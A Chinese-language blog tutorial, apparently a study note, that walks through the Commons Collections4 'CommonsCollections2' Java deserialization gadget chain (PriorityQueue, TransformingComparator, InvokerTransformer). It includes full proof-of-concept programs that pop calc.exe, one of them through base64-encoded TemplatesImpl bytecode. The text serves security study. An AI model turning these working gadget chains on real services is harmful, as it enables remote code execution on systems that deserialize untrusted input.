[java安全]CommonsCollections2

news2025/1/13 6:26:51

文章目录

    • 【java安全】CommonsCollections2
      • 前言
      • Commons-Collections4版本中能否调用cc6等链子?
      • PriorityQueue利用链
        • PriorityQueue
        • TransformingComparator
        • **使用了phithon的总结:**
        • POC
      • 进阶POC
        • POC分析
        • 调用链

【java安全】CommonsCollections2

前言

Apache Commons Collections是一个重要的辅助开发库。包含了⼀些Java中没有的数据结构和和辅助方法,不过随着Java 9以后的版本中原⽣库功能的丰富,以及反序列化漏洞的影响,它也在逐渐被升级或替代。

在2015年cc链被提出时,Apache Commons Collections有两个分支:

  • commons-collections:commons-collections(当时版本3.2.1)
  • org.apache.commons:commons-collections4(当时版本4.0)

官方认为旧的commons-collections有⼀些架构和API设计上的问题,但修复这些问题,会产生⼤量不能 向前兼容的改动。所以,commons-collections4不再认为是⼀个用来替换commons-collections的新版 本,而是⼀个新的包,两者的命名空间不冲突,因此可以共存在同⼀个项目中。
那么很自然有个问题,既然3.2.1中存在反序列化利用链,那么4.0版本是否存在呢?

Commons-Collections4版本中能否调用cc6等链子?

我们在maven中导入这两个分支版本的jar包

image-20230720133253851

我们复制原来的cc6 poc进来:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class cc6 {
    public static void main(String[] args) throws Exception {
//        sun.reflect.annotation.AnnotationInvocationHandler
        Transformer[] fakeTransformers = new Transformer[]{};
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class,
                        Class[].class}, new Object[]{"getRuntime",
                        new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class,
                        Object[].class}, new Object[]{null, new
                        Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class
                },
                        new String[]{"calc.exe"})
        };
        Transformer chainedTransformer = new ChainedTransformer(fakeTransformers);
        Map uselessMap = new HashMap();
        Map outerMap = LazyMap.decorate(uselessMap, chainedTransformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "leekos");

        Map hashMap = new HashMap();

        /*
         *此处使用put()触发了hash()方法,从而未经readObject() RCE
         *我们需要先将ChainedTransformer值设置为假的fakeTransformers
         */
        hashMap.put(tiedMapEntry, "value");
        //清空由于 hashMap.put 对 LazyMap 造成的影响
        outerMap.clear();
        Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(chainedTransformer, transformers);


        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(hashMap);
        oos.close();

        ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bis);
        ois.readObject();
        ois.close();
    }
}

由于这里我们用到的是Commons-Collections4 4.0版本,所以我们需要将import导入的类org.apache.commons.collections换为:org.apache.commons.collections4

image-20230720133810797

结果发现LazyMap#decorate()方法爆红了,在Commons-Collections4中没有该方法

我们看一下原来decorate()方法的逻辑:

public static Map decorate(Map map, Transformer factory) {
        return new LazyMap(map, factory);
    }

就是调用LazyMap的构造方法而已

我们在Commons-Collections4中发现了lazyMap()方法可以用来代替

public static <K, V> LazyMap<K, V> lazyMap(Map<K, V> map, Factory<? extends V> factory) {
        return new LazyMap(map, factory);
    }

替换一下就好了

image-20230720135006891

成功弹出计算器,说明可以在Commons-Collections4中执行cc1、cc6等链子

PriorityQueue利用链

除了前面学习的几条利用链,ysoserial还提出了2条新的链子:

  • CommonsCollections2
  • CommonsCollections4

我们这里学习一下CommonsCollections2

首先了解一下java.util.PriorityQueue

PriorityQueue

这个类中存在readObject()方法:

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        // Read in size, and any hidden stuff
        s.defaultReadObject();

        // Read in (and discard) array length
        s.readInt();

        SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
        queue = new Object[size];

        // Read in all elements.
        for (int i = 0; i < size; i++)
            queue[i] = s.readObject();

        // Elements are guaranteed to be in "proper order", but the
        // spec has never explained what that might be.
        heapify();
    }

反序列化时会调用heapify()方法:

private void heapify() {
        for (int i = (size >>> 1) - 1; i >= 0; i--)
            siftDown(i, (E) queue[i]);
    }

private void siftDown(int k, E x) {
        if (comparator != null)
            siftDownUsingComparator(k, x);
        else
            siftDownComparable(k, x);
    }

private void siftDownUsingComparator(int k, E x) {
        int half = size >>> 1;
        while (k < half) {
            int child = (k << 1) + 1;
            Object c = queue[child];
            int right = child + 1;
            if (right < size &&
                comparator.compare((E) c, (E) queue[right]) > 0)
                c = queue[child = right];
            if (comparator.compare(x, (E) c) <= 0)
                break;
            queue[k] = c;
            k = child;
        }
        queue[k] = x;
    }

heapify()方法会调用siftDown()方法,继而调用siftDownUsingComparator(),然后调用comparator.compare()方法,这个comparator变量是可控的,我们看一下PriorityQueue的构造方法:

public PriorityQueue(int initialCapacity,
                         Comparator<? super E> comparator) {
        // Note: This restriction of at least one is not actually needed,
        // but continues for 1.5 compatibility
        if (initialCapacity < 1)
            throw new IllegalArgumentException();
        this.queue = new Object[initialCapacity];
        this.comparator = comparator;
    }

comparator是一个Comparator类型的对象,我们可以找到一个org.apache.commons.collections4.comparators.TransformingComparator

TransformingComparator

public class TransformingComparator implements Comparator {
    protected Comparator decorated;
    protected Transformer transformer;

    public TransformingComparator(Transformer transformer) {
        this(transformer, new ComparableComparator());
    }

    public TransformingComparator(Transformer transformer, Comparator decorated) {
        this.decorated = decorated;
        this.transformer = transformer;
    }

    public int compare(Object obj1, Object obj2) {
        Object value1 = this.transformer.transform(obj1);
        Object value2 = this.transformer.transform(obj2);
        return this.decorated.compare(value1, value2);
    }
}

这个TransformingComparator类的compare()方法可以调用transform方法

于是我们就可以构造一条从PriorityQueueTransformingComparator调用其compare()方法,再调用transform()方法导致反序列化的链子了

使用了phithon的总结:

  • java.util.PriorityQueue是⼀个优先队列(Queue),基于⼆叉堆实现,队列中每⼀个元素有自己的优先级,节点之间按照优先级大小排序成⼀棵树
  • 反序列化时为什么需要调⽤heapify()⽅法?为了反序列化后,需要恢复(换⾔之,保证)这个 结构的顺序
  • 排序是靠将⼤的元素下移实现的。siftDown()是将节点下移的函数,⽽comparator.compare()⽤来⽐较两个元素⼤⼩
  • TransformingComparator实现了java.util.Comparator接⼝,这个接⼝⽤于定义两个对象如 何进⾏⽐较。siftDownUsingComparator()中就使⽤这个接⼝的compare()⽅法⽐较树的节点。

关于PriorityQueue这个数据结构的具体原理,可以参考这篇⽂章:https://www.cnblogs.com/linghu-java/p/9467805.html

POC

首先创建Transformer

Transformer[] fakeTransformers = new Transformer[] {
    new ConstantTransformer(1)}; 
Transformer[] transformers = new Transformer[] { 
    new ConstantTransformer(Runtime.class), 
    new InvokerTransformer("getMethod", 
                           new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
	new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), 
    new InvokerTransformer("exec", new Class[] { String.class }, new String[] { "calc.exe" }),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);

再创建一个TransformingComparator

Comparator comparator = new TransformingComparator(transformerChain);

然后我们需要实例化PriorityQueue

public PriorityQueue(int initialCapacity,
                         Comparator<? super E> comparator) {
        // Note: This restriction of at least one is not actually needed,
        // but continues for 1.5 compatibility
        if (initialCapacity < 1)
            throw new IllegalArgumentException();
        this.queue = new Object[initialCapacity];
        this.comparator = comparator;
    }

第一个参数是初始化的大小,至少要两个才能触发排序比较,所以填入2,第二个参数是Comparator传入之前创建的comparator

PriorityQueue queue = new PriorityQueue(2, comparator); 
queue.add(1);
queue.add(2);

后⾯随便添加了2个数字进去,这⾥可以传⼊⾮null的任意对象,因为我们的Transformer是忽略传⼊参 数的。

最后,将真正的恶意Transformer设置上:

setFieldValue(transformerChain, "iTransformers", transformers);

完整POC:

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

public class Test {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        Transformer[] fakeTransformers = new Transformer[]{
                new ConstantTransformer(1)
        };
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class,
                        Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"}),};
        Transformer transformerChain = new
                ChainedTransformer(fakeTransformers);
        Comparator comparator = new
                TransformingComparator(transformerChain);
        PriorityQueue queue = new PriorityQueue(2, comparator);
        queue.add(1);
        queue.add(2);
        setFieldValue(transformerChain, "iTransformers", transformers);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new
                ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object) ois.readObject();
    }
}

进阶POC

前面我们学习了TemplatesImpl不使用Transformer数组的形式构造,下面我们构造一个POC

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.Comparator;
import java.util.PriorityQueue;

public class CommonsCollections2 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }



    public static void main(String[] args) throws Exception {
        String s = "yv66vgAAADQAMwoABwAlCgAmACcIACgKACYAKQcAKgcAKwcALAEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAKTEV4ZWNUZXN0OwEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAY8aW5pdD4BAAMoKVYBAA1TdGFja01hcFRhYmxlBwArBwAqAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAClNvdXJjZUZpbGUBAA1FeGVjVGVzdC5qYXZhDAAaABsHAC4MAC8AMAEABGNhbGMMADEAMgEAE2phdmEvbGFuZy9FeGNlcHRpb24BAAhFeGVjVGVzdAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABgAHAAAAAAAEAAEACAAJAAIACgAAAD8AAAADAAAAAbEAAAACAAsAAAAGAAEAAAAMAAwAAAAgAAMAAAABAA0ADgAAAAAAAQAPABAAAQAAAAEAEQASAAIAEwAAAAQAAQAUAAEACAAVAAIACgAAAEkAAAAEAAAAAbEAAAACAAsAAAAGAAEAAAARAAwAAAAqAAQAAAABAA0ADgAAAAAAAQAPABAAAQAAAAEAFgAXAAIAAAABABgAGQADABMAAAAEAAEAFAABABoAGwABAAoAAABqAAIAAgAAABIqtwABuAACEgO2AARXpwAETLEAAQAEAA0AEAAFAAMACwAAABYABQAAABIABAAUAA0AFwAQABUAEQAYAAwAAAAMAAEAAAASAA0ADgAAABwAAAAQAAL/ABAAAQcAHQABBwAeAAAJAB8AIAABAAoAAAArAAAAAQAAAAGxAAAAAgALAAAABgABAAAAHAAMAAAADAABAAAAAQAhACIAAAABACMAAAACACQ=";
        byte[] bytes= Base64.getDecoder().decode(s);
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{bytes});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer transformer = new InvokerTransformer("toString", null, null);
        Comparator comparator = new TransformingComparator(transformer);
        PriorityQueue queue = new PriorityQueue(2, comparator);
        queue.add(obj);
        queue.add(obj);

        setFieldValue(transformer, "iMethodName", "newTransformer");

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

POC分析

我们从简单分析一下这条链子:

首先创建一个TemplatesImpl对象obj

  • 使用反射的方式设置_bytecodes,内容是恶意的字节码数组,

  • 设置_name代表字节码反序列化文件的名字为HelloTemplatesImpl

  • _tfactory设置为TransformerFactoryImpl对象,防止为null返回导致不成功

然后创建一个InvokerTransformer对象,调用方法本来需要调用newTransformer()方法,但是先传入toString(),防止干扰

然后需要找一个类去调用InvokerTransformer#transform()方法,我们可以找到TransformingComparator类,TransformingComparator#compare()方法可以调用transform()方法,并且可以控制形参

如何调用TransformingComparator#compare()方法,可以追溯到PriorityQueue#readObjct()方法

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        // Read in size, and any hidden stuff
        s.defaultReadObject();

        // Read in (and discard) array length
        s.readInt();

        SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
        queue = new Object[size];

        // Read in all elements.
        for (int i = 0; i < size; i++)
            queue[i] = s.readObject();

        // Elements are guaranteed to be in "proper order", but the
        // spec has never explained what that might be.
        heapify();
    }

这个方法很重要,会根据PriorityQueue传入形参的大小形成相应大小的队列

readObject()方法可以形成一个调用链(queue的值很关键)

image-20230720164025961

我们首先需要创建一个PriorityQueue对象

// `2`代表队列大小为2
PriorityQueue queue = new PriorityQueue(2, comparator);

然后需要往队列里面添加两个值,这一次添加的值很重要,不能随便添加(Comparator#compare()方法调用transform()方法需要传入TemplatesImpl对象)

queue.add(obj);
queue.add(obj);

我们分析一下PriorityQueue#add()方法的执行过程:

image-20230720165831296

到这里我们就可以理解为什么之前要将InvokerTransform中方法换为toString()了,威为的是防止提前触发compare()方法

add()之后,我们将InvokerTransformeriMethodNametoString改为newTransformer就大功告成了

调用链

PriorityQueue#readObject()
    heapify()
    	siftDown()
    		siftDownUsingComparator()
    			Comparator#compare()
    				InvokerTransformer#transform()
    					...

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/780875.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Flutter问题记录】Android Studio不显示(右上角main.dart左边)设备栏

记录一下今天遇到的情况&#xff1a; 用android studio打开项目&#xff0c;我检查了&#xff0c;已经配置了flutter sdk和android sdk&#xff0c;但是右上角main.dart左边的设备栏就是不显示。 解决方法&#xff1a; 恢复如初&#xff1a;

【密码学】三、分组密码概述

分组密码 1.分组密码简介2.分组密码的基本原理2.1代换2.2扩散2.3混淆 3.分组密码的结构3.1Feistel网络3.1.1平衡Feistel网络3.1.2不平衡Feistel网络 3.2SP网络 4.分组密码的设计 分组密码算法是将输入数据划分成固定长度的组进行加密和解密的一类对称密码算法。本章主要介绍分组…

零基础深度学习——学习笔记1 (逻辑回归)

前言 因为各种各样的原因要开始学习深度学习了&#xff0c;跟着吴恩达老师的深度学习视频&#xff0c;自己总结一些知识点&#xff0c;以及学习中遇到的一些问题&#xff0c;以便记录学习轨迹以及以后复习使用&#xff0c;为了便于自己理解&#xff0c;我会将一些知识点用以个…

MySQL 中NULL和空值的区别

MySQL 中NULL和空值的区别&#xff1f; 简介NULL也就是在字段中存储NULL值&#xff0c;空值也就是字段中存储空字符(’’)。区别 1、空值不占空间&#xff0c;NULL值占空间。当字段不为NULL时&#xff0c;也可以插入空值。 2、当使用 IS NOT NULL 或者 IS NULL 时&#xff0…

了解 3DS MAX 3D摄像机跟踪设置:第 4 部分

推荐&#xff1a; NSDT场景编辑器助你快速搭建可二次开发的3D应用场景 1. 项目设置 步骤 1 打开“后效”。 打开后效果 步骤 2 转到合成>新合成以创建新合成。 将“宽度”和“高度”值分别设置为 1280 和 720。将帧速率设置为 25&#xff0c;将持续时间设置为 12 秒。单…

Jenkins发送的邮箱中没有带配置的压缩附件

【问题描述】&#xff1a;Jenkins中明明配置了邮箱发送时要带压缩附件&#xff0c;收到的邮箱中却没有附件内容 【问题定位】&#xff1a;压缩附件没有放在Jenkins工作空间下&#xff0c;所以发送的邮件并未发送附件 【解决办法】&#xff1a; 1&#xff09;把压缩附件放到J…

Scoop安装配置MySQL最详细版(含Navicat连接MySQL)

这是在DataWhale的第一次打卡文章&#xff0c;也是时隔三年再动笔&#xff0c;希望持续下去。 我没想到花费了一整天的时间来配置我的写作环境&#xff08;TyporaPicGo腾讯云oss&#xff09;&#xff0c;因为我不想我的文字局限在某个平台上&#xff0c;很被动&#xff0c;想要…

如何在小程序首页隐藏商品分类

​因为在分类页面有显示分类&#xff0c;所以有的商家希望在首页就不显示分类啦。下面就介绍一下如何在首页隐藏商品分类。 在小程序管理员后台->页面设置->首页&#xff0c;显示商品分类设置为否。设置后&#xff0c;在小程序首页商品分类就不会显示啦。注意&#xff1a…

手机word文档怎么转换成pdf?分享两种方法

手机word文档怎么转换成pdf&#xff1f;在如今信息化的时代&#xff0c;电子文档已经成为人们日常办公不可或缺的一部分。随着科技的不断进步&#xff0c;电子文档的格式也在不断发展。PDF作为电子文档的一种重要格式&#xff0c;被广泛使用。那么&#xff0c;如何将手机上的Wo…

zabbix通过JMX监控tomcat

目录 1&#xff09;配置java网关 2&#xff09;修改tomcat 3&#xff09;修改tomcat启动脚本 4&#xff09;启动tomcat 5&#xff09;Zabbix-web端配置——添加JMX信息 6&#xff09;导入模板​编辑 7&#xff09; 为server.zabbix.com添加模板 8&#xff09;图形如下 9&…

SAP从放弃到入门系列之-5种库存转储测试

​前段时间发了小蜘蛛同学写的《STO 库存转储总结》这篇文章&#xff0c;一直没发测试的示例&#xff0c;4年前写的文章了&#xff0c;今天才从草稿箱翻出来。 文章目录导航 一、Plant to plant 1 step二、Plant to plant 2 steps中转库存&#xff08;Stock In Transfer&#…

图数据库Neo4j学习二——cypher基本语法

1命名规范 名称应以字母字符开头&#xff0c;不以数字开头&#xff0c;名称不应包含符号&#xff0c;下划线除外可以很长&#xff0c;最多65535( 2^16 - 1) 或65534字符&#xff0c;具体取决于 Neo4j 的版本名称区分大小写。:PERSON和:Person是:person三个不同的标签&#xff…

Unity进阶-ui框架学习笔记

文章目录 Unity进阶-ui框架学习笔记 Unity进阶-ui框架学习笔记 笔记来源课程&#xff1a;https://study.163.com/course/courseMain.htm?courseId1212756805&_trace_c_p_k2_8c8d7393c43b400d89ae94ab037586fc 最上面的管理层&#xff08;canvas&#xff09; using System…

数仓学习---12、数仓开发之ADS层

星光下的赶路人star的个人主页 知世故而不世故 是善良的成熟 文章目录 1、数仓开发之ADS层1.1 流量主题1.1.1 各渠道流量统计1.1.2 路径分析 1.2 用户主题1.2.1 用户变动统计1.2.2 用户留存率1.2.3 用户新增活跃统计1.2.4 用户行为漏斗分析1.2.5 新增交易用户统计 1.3 商品主题…

Sentinel 规则持久化到 Nacos

一、Sentinel规则管理模式&#x1f349; Sentinel的控制台规则管理有三种模式&#xff1a; 原始模式&#x1f95d; 原始模式&#xff1a;控制台配置的规则直接推送到Sentinel客户端&#xff0c;也就是我们的应用。然后保存在内存中&#xff0c;服务重启则丢失 pull模式&#…

【重点:单例模式】特殊类设计

请设计一个类&#xff0c;只能在堆上创建对象 方式如下&#xff1a; 将构造函数设置为私有&#xff0c;防止外部直接调用构造函数在栈上创建对象。向外部提供一个获取对象的static接口&#xff0c;该接口在堆上创建一个对象并返回。将拷贝构造函数设置为私有&#xff0c;并且…

了解 3DS MAX 3D摄像机跟踪设置:第 2 部分

推荐&#xff1a; NSDT场景编辑器助你快速搭建可二次开发的3D应用场景 1. 项目设置 步骤 1 打开“后效”。 打开后效果 步骤 2 转到合成>新合成以创建新合成。 将“宽度”和“高度”值分别设置为 1280 和 720。将帧速率设置为 25&#xff0c;将持续时间设置为 12 秒。单…

该虚拟机似乎正在使用中。如果该虚拟机未在使用,请按”获取所有权(T)”按钮获取它的所有权。否则,请按”取消(C)”按钮以防损坏。

文章目录 一、报错原因二、解决办法 一、报错原因 这是因为虚拟机未被正确关闭导致的问题。因此&#xff0c;在以后使用虚拟机时&#xff0c;我们应该确保正常关闭虚拟机系统&#xff0c;以避免出现这类问题。 二、解决办法 根据提示的配置文件位置&#xff0c;找到虚拟机安…

web-Access注入

看到网站上面有asp的就要联想到access数据库 方法一&#xff1a; 1.判断出整型注入 ?id1513 and 12 2.判断出列数为22列 ?id1513 order by 22 3.猜表名 回显正常说明存在这个表&#xff0c;回显不正常的话说明这个表就是不存在的。这里猜到表名为admin ?id1513 and ex…

详解HTTP协议(一)

1、HTTP概述 1、什么是HTTP 超文本传输协议&#xff08;Hyper Text Transfer Protocol&#xff0c;HTTP&#xff09; HTTP是一个基于请求与响应的、无状态的应用层协议&#xff0c;用于在两点之间传输超文本数据&#xff0c;常基于TCP/IP协议传输数据。 设计HTTP的初衷是为…